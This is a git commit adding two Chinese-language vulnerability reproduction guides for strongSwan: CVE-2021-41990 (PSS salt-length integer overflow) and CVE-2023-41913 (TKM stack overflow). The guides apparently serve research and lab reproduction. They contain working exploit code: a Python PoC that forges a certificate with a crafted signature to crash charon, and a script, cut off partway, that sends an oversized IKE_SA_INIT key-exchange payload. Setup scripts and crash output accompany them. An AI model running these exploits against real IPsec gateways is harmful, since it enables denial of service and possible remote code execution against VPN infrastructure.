Commit 5026f319 by 文周繁

add two cve

parent 32e175a8
# StrongSwan GMP 插件拒绝服务漏洞(CVE-2021-41990)复现
## **1. 漏洞描述与原理**
在 strongSwan 5.6.1 中,新增了对 RSASSA-PSS 签名的支持。签名中的 `algorithmIdentifier` 结构包含哈希算法和盐长度等参数,存储在 `chunk_t``size_t len` 字段,用于根据 RFC 8017 第 9.1.2 节验证签名结构:
​ em.len < (hash.len + salt.len + 2)
当输入的盐长度极大(如 2^64-1)时,会导致整数溢出,绕过上述检查。随后,盐长度用于验证签名填充,若填充检查被绕过(需特制签名值),最终会在 `memcpy()` 调用中使用该长度,导致段错误。
**注意**:生成绕过填充检查的签名需持有签名证书的私钥,但证书无需受信任。strongSwan 的 x509 和 openssl 插件会验证自签名证书是否有效,因此攻击者(使用 Libreswan)可通过任意自签名 CA 证书触发目标 strongSwan 的漏洞。
## **2. 复现步骤**
### **2.1 准备证书**
在攻击者端(Libreswan)生成自签名证书和私钥:
```Bash
mkdir ~/cve202141990
cd ~/cve202141990
./pss-cert-with-openssl.sh
```
生成以下文件:
- `ca.cert.pem`, `ca.pem`(CA 证书和私钥)
- `moon.client.cert.pem`, `moon.client.pem`(moon 客户端证书和私钥)
- `moon.server.cert.pem`, `moon.server.pem`(moon 服务器证书和私钥)
- `sun.client.cert.pem`, `sun.client.pem`(sun 客户端证书和私钥)
- `sun.server.cert.pem`, `sun.server.pem`(sun 服务器证书和私钥)
### **2.2 修改证书**
运行 PoC 脚本,为moon.server.cert.pem注入超大盐长度,保存为新的证书:
```Bash
cd ~/cve202141990
python3 CVE202141990_PoC.py
已将新的salt_length参数写入证书,并保存为 cve202141990_cert.pem
```
**证书替换**
- 用生成的 `cve202141990_cert.pem` 替换 `/etc/ipsec.d/certs/moon.server.cert.pem`
```Bash
sudo cp cve202141990_cert.pem /etc/ipsec.d/certs/moon.server.cert.pem
```
### **2.3 配置 strongSwan(目标端)**
#### **2.3.1 复制证书到指定文件夹**
```Bash
sudo cp ca.cert.pem /etc/ipsec.d/cacerts/
sudo cp moon.client.cert.pem /etc/ipsec.d/certs/
sudo cp moon.server.cert.pem /etc/ipsec.d/certs/
sudo cp sun.server.cert.pem /etc/ipsec.d/certs/
sudo cp moon.client.pem /etc/ipsec.d/private/
sudo cp sun.server.pem /etc/ipsec.d/private/
```
#### **2.3.2 在目标端编辑配置文件使用证书**
```Bash
cat /etc/ipsec.d/cve202141990.conf
conn pss-cert
ikelifetime=60m
keylife=20m
rekeymargin=3m
keyingtries=1
keyexchange=ikev2
mobike=no
left=172.17.90.2
leftcert=sun.server.cert.pem
leftsubnet=10.2.0.1/32
leftid="C=CN, O=NetworkLab, CN=sun.com"
leftfirewall=yes
right=172.17.90.1
rightsubnet=10.1.0.1/32
rightid="C=CN, O=NetworkLab, CN=moon.com"
auto=add
cat /etc/ipsec.d/pss-cert.secrets
: RSA sun.server.pem
```
### **2.4 配置 Libreswan(攻击端)**
#### **2.4.1 导入证书到nss数据库**
```Bash
# 查看当前nss数据库
sudo certutil -L -d sql:/var/lib/ipsec/nss
# 合成p12
openssl pkcs12 -export -in cve202141990_cert.pem -inkey moon.server.pem -out cve202141990.p12 -name "cve202141990" -legacy -noiter -nomaciter
# 清理nss中旧的证书
sudo certutil -F -d sql:/var/lib/ipsec/nss -n "cve202141990"
sudo certutil -D -d sql:/var/lib/ipsec/nss -n "cve202141990" 2>/dev/null
# 导入新的到nss数据库
sudo ipsec import cve202141990.p12
# 查看
sudo certutil -L -d sql:/var/lib/ipsec/nss
Certificate Nickname Trust Attributes
SSL,S/MIME,JAR/XPI
cve202141990 u,u,u
```
为 sun.client 和 ca 重复此步骤。
#### **2.4.2 编辑配置文件使用证书**
```Bash
cat /etc/ipsec.d/pss-cert.conf
conn cve202141990
retransmit-interval=5000
ikelifetime=60m
keylife=20m
rekeymargin=3m
keyingtries=1
keyexchange=ikev2
mobike=no
left=172.17.90.1
leftcert=cve202141990
leftid=%fromcert
leftsubnet=10.1.0.1/32
right=172.17.90.2
rightsubnet=10.2.0.1/32
auto=add
cat /etc/ipsec.d/pss-cert.secrets
: RSA moonserver
```
### **2.5 发起 IPsec 连接**
在目标端 (Strongswan),启动前台进程:
```
sudo ipsec start --nofork
```
在攻击者端(Libreswan),使用特制证书发起 IPsec 连接:
```Bash
sudo ipsec restart
sudo ipsec start cve202141990
```
### **2.6 触发漏洞**
在目标端(strongSwan)观察 charon 进程崩溃:
输出:
```Plain
...
12[DMN] thread 12 received 11
12[LIB] dumping 1 stack frame addresses:
12[LIB] /lib/x86_64-linux-gnu/libc.so.6 @ 0x73dd2d200000 [0x73dd2d242520]
12[LIB] -> libc_sigaction.c:?
12[DMN] killing ourself, received critical signal
charon has died -- restart scheduled (5sec)
```
## 3. 证书生成sh:
```Bash
#!/bin/bash
# Step 1: 创建工作目录
mkdir pss-cert && cd pss-cert
# Step 2: 生成 CA 私钥
openssl genrsa -out ca.pem 2048
# Step 3: 生成 CA 证书(使用 RSASSA-PSS 签名)
openssl req -x509 -new -key ca.pem -out ca.cert.pem -days 365 \
-subj "/C=CN/O=NetworkLab/CN=NetworkLab CA" \
-sigopt rsa_padding_mode:pss \
-sigopt rsa_pss_saltlen:32 \
-sigopt rsa_mgf1_md:sha256 \
-extensions v3_ca -config <(cat << EOF
[ v3_ca ]
basicConstraints = critical,CA:TRUE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
EOF
)
# Step 4: 生成 sun 服务器私钥
openssl genrsa -out sun.server.pem 2048
# Step 5: 生成 sun 服务器证书签名请求 (CSR)
openssl req -new -key sun.server.pem -out sun.server.csr \
-subj "/C=CN/O=NetworkLab/CN=sun.com" \
-addext "subjectAltName=DNS:sun.com" \
-addext "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2"
# Step 6: 生成 sun 服务器证书(使用 RSASSA-PSS 签名)
openssl x509 -req -in sun.server.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out sun.server.cert.pem -days 365 \
-sigopt rsa_padding_mode:pss \
-sigopt rsa_pss_saltlen:32 \
-sigopt rsa_mgf1_md:sha256 \
-extfile <(echo "[ext]"; echo "subjectAltName=DNS:sun.com"; echo "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2")
# Step 7: 生成 moon 服务器私钥
openssl genrsa -out moon.server.pem 2048
# Step 8: 生成 moon 服务器证书签名请求 (CSR)
openssl req -new -key moon.server.pem -out moon.server.csr \
-subj "/C=CN/O=NetworkLab/CN=moon.com" \
-addext "subjectAltName=DNS:moon.com" \
-addext "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2"
# Step 9: 生成 moon 服务器证书(使用 RSASSA-PSS 签名)
openssl x509 -req -in moon.server.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out moon.server.cert.pem -days 365 \
-sigopt rsa_padding_mode:pss \
-sigopt rsa_pss_saltlen:32 \
-sigopt rsa_mgf1_md:sha256 \
-extfile <(echo "[ext]"; echo "subjectAltName=DNS:moon.com"; echo "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2")
# Step 10: 生成 sun 客户端私钥
openssl genrsa -out sun.client.pem 2048
# Step 11: 生成 sun 客户端证书签名请求 (CSR)
openssl req -new -key sun.client.pem -out sun.client.csr \
-subj "/C=CN/O=NetworkLab/CN=client"
# Step 12: 生成 sun 客户端证书(使用 RSASSA-PSS 签名)
openssl x509 -req -in sun.client.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out sun.client.cert.pem -days 365 \
-sigopt rsa_padding_mode:pss \
-sigopt rsa_pss_saltlen:32 \
-sigopt rsa_mgf1_md:sha256
# Step 13: 生成 moon 客户端私钥
openssl genrsa -out moon.client.pem 2048
# Step 14: 生成 moon 客户端证书签名请求 (CSR)
openssl req -new -key moon.client.pem -out moon.client.csr \
-subj "/C=CN/O=NetworkLab/CN=client"
# Step 15: 生成 moon 客户端证书(使用 RSASSA-PSS 签名)
openssl x509 -req -in moon.client.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out moon.client.cert.pem -days 365 \
-sigopt rsa_padding_mode:pss \
-sigopt rsa_pss_saltlen:32 \
-sigopt rsa_mgf1_md:sha256
# Step 16: 清理临时 CSR 文件
rm *.csr
```
## 4. 证书篡改PoC:
```Python
#!/usr/bin/env python3
"""
CVE-2021-41990 PoC - RSA-PSS Signature Vulnerability
Refactored for clarity and simplicity
"""
import hashlib
import argparse
import base64
import random
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from asn1crypto import x509 as asn1_x509
from asn1crypto.algos import RSASSAPSSParams
class RSAHelper:
"""RSA cryptographic operations"""
@staticmethod
def bytes_to_int(data: bytes) -> int:
return int.from_bytes(data, byteorder='big')
@staticmethod
def int_to_bytes(value: int, length: int) -> bytes:
return value.to_bytes(length, byteorder='big')
@staticmethod
def public_encrypt(data: bytes, n: int, e: int) -> bytes:
"""RSA public key operation: c = m^e mod n"""
# Remove leading zeros
while len(data) > 0 and data[0] == 0:
data = data[1:]
if len(data) == 0:
return b''
m = RSAHelper.bytes_to_int(data)
if m <= 0 or m >= n:
return b''
c = pow(m, e, n)
key_bytes = (n.bit_length() + 7) // 8
return RSAHelper.int_to_bytes(c, key_bytes)
@staticmethod
def private_decrypt(data: bytes, p: int, q: int, d: int, key_bytes: int) -> bytes:
"""RSA private key operation using CRT"""
exp1 = d % (p - 1)
exp2 = d % (q - 1)
coeff = pow(q, -1, p)
c = RSAHelper.bytes_to_int(data)
m1 = pow(c, exp1, p)
m2 = pow(c, exp2, q)
h = (coeff * (m1 - m2)) % p
m = m2 + h * q
return RSAHelper.int_to_bytes(m, key_bytes)
@staticmethod
def sign(em: bytes, n: int, d: int) -> bytes:
"""Create RSA signature: s = em^d mod n"""
key_bytes = (n.bit_length() + 7) // 8
em_int = RSAHelper.bytes_to_int(em)
signature_int = pow(em_int, d, n)
return RSAHelper.int_to_bytes(signature_int, key_bytes)
class MGF1:
"""Mask Generation Function 1"""
@staticmethod
def generate(seed: bytes, mask_len: int, hash_func=hashlib.sha256) -> bytes:
hlen = hash_func().digest_size
mask = b''
counter = 0
while len(mask) < mask_len:
c = counter.to_bytes(4, byteorder='big')
mask += hash_func(seed + c).digest()
counter += 1
return mask[:mask_len]
class PSSEncoder:
"""PSS Encoding/Decoding operations"""
@staticmethod
def decode_em(em: bytes, hash_len: int = 32) -> bytes:
"""Extract DB from EM"""
# Verify trailer
if em[-1] != 0xbc:
raise ValueError(f"Invalid trailer: {hex(em[-1])}")
# Extract components
masked_db = em[:-hash_len-1]
h = em[-hash_len-1:-1]
# Generate dbMask and recover DB
db_mask = MGF1.generate(h, len(masked_db))
db = bytes([a ^ b for a, b in zip(masked_db, db_mask)])
return db
@staticmethod
def encode_em(db: bytes, h: bytes, em_len: int = 256, hash_len: int = 32) -> bytes:
"""Create EM from DB and hash"""
# Generate dbMask
db_mask = MGF1.generate(h, em_len - hash_len - 1)
# Create maskedDB
masked_db = bytes([a ^ b for a, b in zip(db, db_mask)])
# Clear leftmost bit
masked_db = bytes([masked_db[0] & 0x7F]) + masked_db[1:]
# Construct EM
return masked_db + h + b'\xBC'
class CertificateHandler:
"""Certificate operations"""
@staticmethod
def load_pem_cert(path: str) -> asn1_x509.Certificate:
"""Load PEM certificate as ASN.1 object"""
with open(path, 'rb') as f:
cert_data = f.read()
cert = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_der = cert.public_bytes(serialization.Encoding.DER)
return asn1_x509.Certificate.load(cert_der)
@staticmethod
def load_private_key(path: str) -> dict:
"""Load RSA private key parameters"""
with open(path, "rb") as f:
pem_data = f.read()
private_key = serialization.load_pem_private_key(pem_data, password=None)
numbers = private_key.private_numbers()
return {
"n": numbers.public_numbers.n,
"e": numbers.public_numbers.e,
"d": numbers.d,
"p": numbers.p,
"q": numbers.q,
}
@staticmethod
def save_pem_cert(cert_der: bytes, output_path: str):
"""Save DER certificate as PEM"""
b64_data = base64.encodebytes(cert_der).decode().replace("\n", "")
pem_lines = [
"-----BEGIN CERTIFICATE-----",
*[b64_data[i:i+64] for i in range(0, len(b64_data), 64)],
"-----END CERTIFICATE-----"
]
with open(output_path, "w") as f:
f.write("\n".join(pem_lines))
@staticmethod
def modify_salt_length(cert: asn1_x509.Certificate, salt_length: int, signature: bytes) -> bytes:
"""Modify certificate salt length and signature"""
# Create new PSS parameters
tbs_params = cert["tbs_certificate"]["signature"]["parameters"]
sig_params = cert["signature_algorithm"]["parameters"]
new_params_dict = tbs_params.native.copy()
new_params_dict["salt_length"] = salt_length
new_pss_params = RSASSAPSSParams(new_params_dict)
# Update certificate
cert["tbs_certificate"]["signature"]["parameters"] = new_pss_params
cert["signature_algorithm"]["parameters"] = new_pss_params
cert["signature_value"] = signature
return cert.dump()
class CVEExploit:
"""CVE-2021-41990 exploit implementation"""
# Exploit constants
EXPLOIT_DB = bytes.fromhex(
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00" * 33
)
EXPLOIT_HASH = bytes.fromhex("014311265b676de63fb800d0fffbd47b64421842ff8e6683a5407e750b91126f")
@classmethod
def generate_malicious_signature(cls, ca_key: dict) -> bytes:
"""Generate malicious signature for exploit"""
em = PSSEncoder.encode_em(cls.EXPLOIT_DB, cls.EXPLOIT_HASH)
return RSAHelper.sign(em, ca_key["n"], ca_key["d"])
@classmethod
def create_malicious_cert(cls, cert_path: str, ca_key_path: str, output_path: str, salt_length: int):
"""Create malicious certificate with modified salt length"""
# Load certificate and CA key
cert = CertificateHandler.load_pem_cert(cert_path)
ca_key = CertificateHandler.load_private_key(ca_key_path)
# Generate malicious signature
malicious_signature = cls.generate_malicious_signature(ca_key)
# Modify certificate
modified_cert_der = CertificateHandler.modify_salt_length(cert, salt_length, malicious_signature)
# Save result
CertificateHandler.save_pem_cert(modified_cert_der, output_path)
print(f"Malicious certificate saved to: {output_path}")
def test():
"""Test function to demonstrate the CVE exploit process"""
print("Running CVE-2021-41990 test...")
# Test parameters (from original test)
class TestParams:
# CVE exploit parameters
cve_db = bytes.fromhex(
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000"
+ "00" * 33
)
cve_hash = bytes.fromhex("01") + random.randbytes(63)
# RSA key parameters for testing
n = 20392915256388975903042897349472132732310118323783094003766462556352428123505249468687499711248127605787562346657458289294343069594259912400074098540270883816143471739398987002681461673498596729800236048505761173942864152964623994731866794931688352480157953090400587541629128869857474623808260778532071758934783325183045486768815393772015802797535108142636129363664395218020947591112243226145656652422460765448047858684873921628766213662346360515481776222207728527400903107453281505536304975353515747423650721497399751942059552935015168698314676336946407201396454452047222911538830424251923648942349204563275800744709
e = 65537
d = 2995521567121512638274840350626834517612439256808808767577990957998775309183425550798592975651279619589169718184913660778862583658338672989264283200673706925508631255127015245251747275056115111595044362420508054705806910364407800803897014939784104356903132198803940615474895346871239816206817133065804382338566944258142453428701320606144561692456715609760246136195076103687492058372309005452001450424303592966090445407583213505711981443064932440817481031461482405575524244589172609708764062387002325655643093247090718903610658609828396062988903512699650837295311608526614922399488174019832764386488293323151724797913
# Step 1: Generate malicious EM
print("Step 1: Generating malicious EM...")
cve_em = PSSEncoder.encode_em(TestParams.cve_db, TestParams.cve_hash)
print(f"Malicious EM: {cve_em.hex()}")
# Step 2: Create signature
print("\nStep 2: Creating malicious signature...")
cve_signature = RSAHelper.sign(cve_em, TestParams.n, TestParams.d)
print(f"Malicious signature: {cve_signature.hex()}")
# Step 3: Verify signature (reverse operation)
print("\nStep 3: Verifying signature (public key operation)...")
recovered_em = RSAHelper.public_encrypt(cve_signature, TestParams.n, TestParams.e)
print(f"Recovered EM: {recovered_em.hex()}")
# Step 4: Compare results
print("\nStep 4: Verification...")
if cve_em == recovered_em:
print("? Test PASSED: EM matches recovered EM")
else:
print("? Test FAILED: EM does not match recovered EM")
print("\nTest completed.")
def main():
"""Main function"""
parser = argparse.ArgumentParser(description='CVE-2021-41990 PoC')
parser.add_argument('--cert', default='moon.server.cert.pem', help='Target certificate')
parser.add_argument('--ca-key', default='ca.pem', help='CA private key')
parser.add_argument('--output', default='cve.pem', help='Output certificate')
parser.add_argument('--salt-length', type=lambda x: int(x, 0), default=0xFFFFFFFFFFFFFFFF, help='Salt length')
parser.add_argument('--test', action='store_true', help='Run test function')
args = parser.parse_args()
if args.test:
test()
else:
CVEExploit.create_malicious_cert(
cert_path=args.cert,
ca_key_path=args.ca_key,
output_path=args.output,
salt_length=args.salt_length
)
if __name__ == "__main__":
main()
```
## 参考:
1. euhat.com. Strongswan 证书认证 – 优海. http://euhat.com/wp/tag/strongswan/
2. strongSwan. CVE-2021-41990 Blog https://strongswan.org/blog/2021/10/18/strongswan-vulnerability-(cve-2021-41990).html
\ No newline at end of file
# StrongSwan TKM 插件栈溢出漏洞(CVE-2023-41913)复现
## 漏洞概述
CVE-2023-41913 是 StrongSwan 网络协议栈中的一个高危栈缓冲区溢出漏洞,影响 5.3.0 之前启用 TKM(Trusted Key Manager)插件的版本。该漏洞允许远程攻击者通过发送特制的 IKE_SA_INIT 消息触发栈溢出,可能导致远程代码执行、服务崩溃、系统稳定性破坏。
漏洞成因在于 StrongSwan 5.3.0 架构重构过程中,DH 密钥交换的验证责任从核心代码转移到 charon-tkm 组件,但其未能实现输入验证机制。具体表现为该组件使用固定大小的栈缓冲区(512字节)存储 Diffie-Hellman 公有值,却未对输入长度进行任何检查,直接使用 memcpy 进行复制操作。
## **环境变量配置**
在开始前,定义以下环境变量(根据实际环境调整路径和用户名):
```Bash
export WORK_DIR=/code/ipsec
export BUILD_DIR=$WORK_DIR/tkm-build
export LIB_DIR=/home/qq/libraries
export OS=linux
export VERSION=1761027
export TARGET_ARCH=x86_64
export ALOG_VERSION=1
export GPR_PROJECT_PATH=$BUILD_DIR/libanet-0.5.1
export ADA_PROJECT_PATH=$BUILD_DIR/libanet-0.5.1:$BUILD_DIR/libalog-0.6.2:$BUILD_DIR/x509-ada/gnat:$BUILD_DIR/xfrm-ada/gnat:$BUILD_DIR/libgmpada-1.4/gnat:$LIB_DIR/share/gpr
export LD_LIBRARY_PATH=$BUILD_DIR/libanet-0.5.1/obj/linux/lib/dynamic/lib:$BUILD_DIR/libalog-0.6.2/lib/dynamic/:$LD_LIBRARY_PATH
```
## **1. 依赖库编译安装**
### **1.1 libanet**
```Bash
wget https://www.codelabs.ch/download/libanet-0.5.1.tar.bz2
tar xvf libanet-0.5.1.tar.bz2 -C $BUILD_DIR
sudo apt install gnat gprbuild
cd $BUILD_DIR/libanet-0.5.1/
make && sudo make PREFIX=/usr/local install
```
### **1.2 libalog**
```Bash
wget https://www.codelabs.ch/download/libalog-0.6.2.tar.bz2
tar xvf libalog-0.6.2.tar.bz2 -C $BUILD_DIR
cd $BUILD_DIR/libalog-0.6.2/
make && sudo make PREFIX=/usr/local install
```
### **1.3 libgmpada**
```Bash
wget http://nicolas.boulenguez.free.fr/libgmpada-1.4.tar.xz
tar xvf libgmpada-1.4.tar.xz -C $BUILD_DIR
cd $BUILD_DIR/libgmpada-1.4/
sudo make install
```
### **1.4 XFRM/Ada**
```Bash
git clone https://git.codelabs.ch/git/xfrm-ada.git -b v0.1 $BUILD_DIR/xfrm-ada
cd $BUILD_DIR/xfrm-ada
GPR_PROJECT_PATH=$GPR_PROJECT_PATH ADA_PROJECT_PATH=$ADA_PROJECT_PATH VERSION=$VERSION OS=$OS TARGET_ARCH=$TARGET_ARCH make install
```
### **1.5 X509/Ada**
```Bash
git clone https://git.codelabs.ch/git/x509-ada.git $BUILD_DIR/x509-ada
cd $BUILD_DIR/x509-ada
make install
```
### **1.6 TKM-RPC**
```Bash
git clone https://git.codelabs.ch/git/tkm-rpc.git $BUILD_DIR/tkm-rpc
cd $BUILD_DIR/tkm-rpc
git checkout v0.3
rm -rf $LIB_DIR/include/tkmrpc
GPR_PROJECT_PATH=$GPR_PROJECT_PATH ADA_PROJECT_PATH=$ADA_PROJECT_PATH VERSION=v0.4 OS=$OS TARGET_ARCH=$TARGET_ARCH make install
```
### **1.7 libspark**
```Bash
git clone https://git.codelabs.ch/spark-crypto.git $BUILD_DIR/spark-crypto
cd $BUILD_DIR/spark-crypto
make NO_SPARK=1 NO_TESTS=1 NO_APIDOC=1
make NO_SPARK=1 NO_TESTS=1 NO_APIDOC=1 DESTDIR=$LIB_DIR/lib/gnat install
```
### **1.8 xmlada**
```Bash
git clone https://github.com/AdaCore/xmlada.git $BUILD_DIR/xmlada
cd $BUILD_DIR/xmlada
./configure --prefix=$LIB_DIR
make clean && make all install
```
## **2. 核心组件编译**
### **2.1 charon-tkm 守护进程**
```Bash
sudo apt install gprbuild gnat
git clone git://git.strongswan.org/strongswan.git $BUILD_DIR/strongswan
cd $BUILD_DIR/strongswan
git checkout e6a904de
./autogen.sh
./configure --prefix=/usr/ \
--enable-asan --disable-defaults --enable-ikev2 \
--enable-kernel-netlink --enable-pem --enable-pkcs1 \
--enable-random --enable-sha1 --enable-socket-default \
--enable-swanctl --enable-tkm --enable-x509
export ADA_PROJECT_PATH=$LIB_DIR/lib/gnat
sudo ADA_PROJECT_PATH=$ADA_PROJECT_PATH:$BUILD_DIR/tkm-rpc/gnat \
OS=$OS VERSION=$VERSION TARGET_ARCH=$TARGET_ARCH ALOG_VERSION=$ALOG_VERSION \
make install
```
### **2.2 TKM 组件**
```Bash
git clone https://git.codelabs.ch/git/tkm.git $BUILD_DIR/tkm
cd $BUILD_DIR/tkm
sudo make clean && sudo ADA_PROJECT_PATH=$LIB_DIR/lib/gnat:$ADA_PROJECT_PATH:$BUILD_DIR/tkm-rpc/gnat \
OS=$OS VERSION=$VERSION TARGET_ARCH=$TARGET_ARCH ALOG_VERSION=$ALOG_VERSION \
make install
```
### **2.3 xfrm-proxy 组件**
```Bash
git clone https://git.codelabs.ch/git/xfrm-proxy.git $BUILD_DIR/xfrm-proxy
cd $BUILD_DIR/xfrm-proxy
ADA_PROJECT_PATH=$LIB_DIR/lib/gnat:$ADA_PROJECT_PATH:$BUILD_DIR/tkm-rpc/gnat \
OS=$OS VERSION=$VERSION ALOG_VERSION=$ALOG_VERSION \
make install
```
## **3. 环境配置**
### **3.1 证书配置**
```Bash
cat > $WORK_DIR/tkm-cert-with-openssl.sh << EOF
#!/bin/bash
# Step 1: 创建工作目录
mkdir tkm-cert && cd tkm-cert
# Step 2: 生成 CA 私钥
openssl genrsa -out ca.pem 2048
# Step 3: 生成 CA 证书
openssl req -x509 -new -key ca.pem -out ca.cert.pem -days 365 \
-subj "/C=CN/O=NetworkLab/CN=NetworkLab CA" \
-extensions v3_ca -config <(cat << AnotherEOF
[ v3_ca ]
basicConstraints = critical,CA:TRUE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
AnotherEOF
)
# Step 4: 生成 sun 服务器私钥
openssl genrsa -out sun.server.pem 2048
# Step 5: 生成 sun 服务器证书签名请求 (CSR)
openssl req -new -key sun.server.pem -out sun.server.csr \
-subj "/C=CN/O=NetworkLab/CN=sun.com" \
-addext "subjectAltName=DNS:sun.com" \
-addext "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2"
# Step 6: 生成 sun 服务器证书
openssl x509 -req -in sun.server.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out sun.server.cert.pem -days 365 \
-extfile <(echo "[ext]"; echo "subjectAltName=DNS:sun.com"; echo "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2")
# Step 7: 生成 moon 服务器私钥
openssl genrsa -out moon.server.pem 2048
# Step 8: 生成 moon 服务器证书签名请求 (CSR)
openssl req -new -key moon.server.pem -out moon.server.csr \
-subj "/C=CN/O=NetworkLab/CN=moon.com" \
-addext "subjectAltName=DNS:moon.com" \
-addext "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2"
# Step 9: 生成 moon 服务器证书(使用 RSASSA-PSS 签名)
openssl x509 -req -in moon.server.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out moon.server.cert.pem -days 365 \
-extfile <(echo "[ext]"; echo "subjectAltName=DNS:moon.com"; echo "extendedKeyUsage=serverAuth,1.3.6.1.5.5.8.2.2")
# Step 10: 生成 sun 客户端私钥
openssl genrsa -out sun.client.pem 2048
# Step 11: 生成 sun 客户端证书签名请求 (CSR)
openssl req -new -key sun.client.pem -out sun.client.csr \
-subj "/C=CN/O=NetworkLab/CN=client"
# Step 12: 生成 sun 客户端证书
openssl x509 -req -in sun.client.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out sun.client.cert.pem -days 365
# Step 13: 生成 moon 客户端私钥
openssl genrsa -out moon.client.pem 2048
# Step 14: 生成 moon 客户端证书签名请求 (CSR)
openssl req -new -key moon.client.pem -out moon.client.csr \
-subj "/C=CN/O=NetworkLab/CN=client"
# Step 15: 生成 moon 客户端证书
openssl x509 -req -in moon.client.csr -CA ca.cert.pem -CAkey ca.pem -CAcreateserial \
-out moon.client.cert.pem -days 365
# Step 16: 清理临时 CSR 文件
rm *.csr
EOF
sh $WORK_DIR/tkm-cert-with-openssl.sh
sudo cp $WORK_DIR/tkm-cert/ca.cert.der /usr/etc/swanctl/x509ca
sudo cp $WORK_DIR/tkm-cert/sun.server.cert.der /usr/etc/swanctl/x509
sudo cp $WORK_DIR/tkm-cert/sun.client.cert.der /usr/etc/swanctl/x509
```
### **3.2 配置文件生成**
IP 地址需匹配实际测试环境.
```Bash
cd $BUILD_DIR/tkm
cat > data/cve202341913.xml <<EOF
<tkmconfig>
<local_identity id="1">
<identity>sun.com</identity>
<certificate>sun.server.cert.der</certificate>
</local_identity>
<policy id="1">
<mode>tunnel</mode>
<local>
<identity_id>1</identity_id>
<ip>172.17.90.2</ip>
<net mask="32">10.2.0.1</net>
</local>
<remote>
<identity>moon.com</identity>
<ip>172.17.90.1</ip>
<net mask="32">10.1.0.1</net>
</remote>
<lifetime>
<soft>30</soft>
<hard>60</hard>
</lifetime>
</policy>
</tkmconfig>
EOF
LD_LIBRARY_PATH=$LD_LIBRARY_PATH tkm_cfgtool -c data/cve202341913.xml -i ./swanctl.conf -t cve41913_tkm.conf
sudo cp swanctl.conf /usr/etc/swanctl
```
## **4. 服务启动**
### **4.1 启动 TKM Keymanager**
```Bash
cd $BUILD_DIR/tkm
sudo LD_LIBRARY_PATH=$LD_LIBRARY_PATH tkm_keymanager \
-c cve41913_tkm.conf \
-k /usr/local/etc/swanctl/private/ca.der \
-r /usr/local/etc/swanctl/x509ca/ca.cert.der:1
```
### **4.2 配置 charon-tkm**
```Bash
sudo cat > /usr/etc/strongswan.d/tkm.conf << EOF
charon-tkm {
load = tkm sha1 kernel-netlink socket-default pem pkcs1 random vici x509
dh_mapping {
15 = 1
16 = 2
}
ca_mapping {
netlab_ca {
id = 1
fingerprint = 59a0608149c47b80c63daf6198271151973670a3
}
}
}
EOF
```
### **4.3 启动 charon-tkm**
```Bash
sudo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/lib/ipsec/ /usr/libexec/ipsec/charon-tkm
```
### **4.4 加载配置**
```Bash
sudo swanctl --load-all
```
至此,StrongSwan TKM 环境搭建完成,可进行 CVE-2023-41913 漏洞验证。
## **5. CVE-2023-41913 漏洞验证**
### **攻击脚本 (cve-2023-41913.py)**
```Python
import random
import socket
import argparse
from scapy.layers.isakmp import ISAKMP
def gen_dh_value(length):
return random.randbytes(length)
def build_kex_payload(dh_value):
next_payload_type = "2800"
kex_len_placeholder = "0048"
dh_group = "0010"
reserved = "0000"
kex = next_payload_type + kex_len_placeholder + dh_group + reserved + dh_value.hex()
kex_len = int(len(kex) / 2)
kex = kex.replace(kex_len_placeholder, kex_len.to_bytes(2, "big").hex())
return kex
def build_ike_sa_init_req(kex_payload):
return (
"86ee835d71bdcb9e00000000000000002120220800000000000002c0220000300"
+ "000002c0"
+ "10100040300000c0100000c800e0100030000080300000e03000008020000070000000804000010"
+ kex_payload
+ "29000024d712fd9438da8aa34d8b59bea38611138f5ea3c94f8c851f2e6a29f081ca3ae32900001c00004004854e3b8b6b0e50748e2d63ade4454e2235f9814b2900001c000040058e6cee2d4d4ae2d6d7f9b23d86d144d4662a7cb0290000080000402e0000000800004016"
)
def patch_ike_length(ike_hex):
ike_len = int(len(ike_hex) / 2)
ike_len_hex = ike_len.to_bytes(4, "big").hex()
return ike_hex.replace("000002ea", ike_len_hex)
def send_ike_packet(data, dst_ip, dst_port):
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
udp_socket.connect((dst_ip, dst_port))
print(f"发送数据包,大小: {len(data)} 字节")
udp_socket.send(data)
try:
udp_socket.settimeout(1)
response = udp_socket.recv(1024)
print("收到响应:")
print(ISAKMP(response).show())
except socket.timeout:
print("接收超时")
except Exception as e:
print(f"接收错误: {e}")
finally:
udp_socket.close()
def main():
parser = argparse.ArgumentParser(description="CVE-2023-41913 漏洞验证脚本")
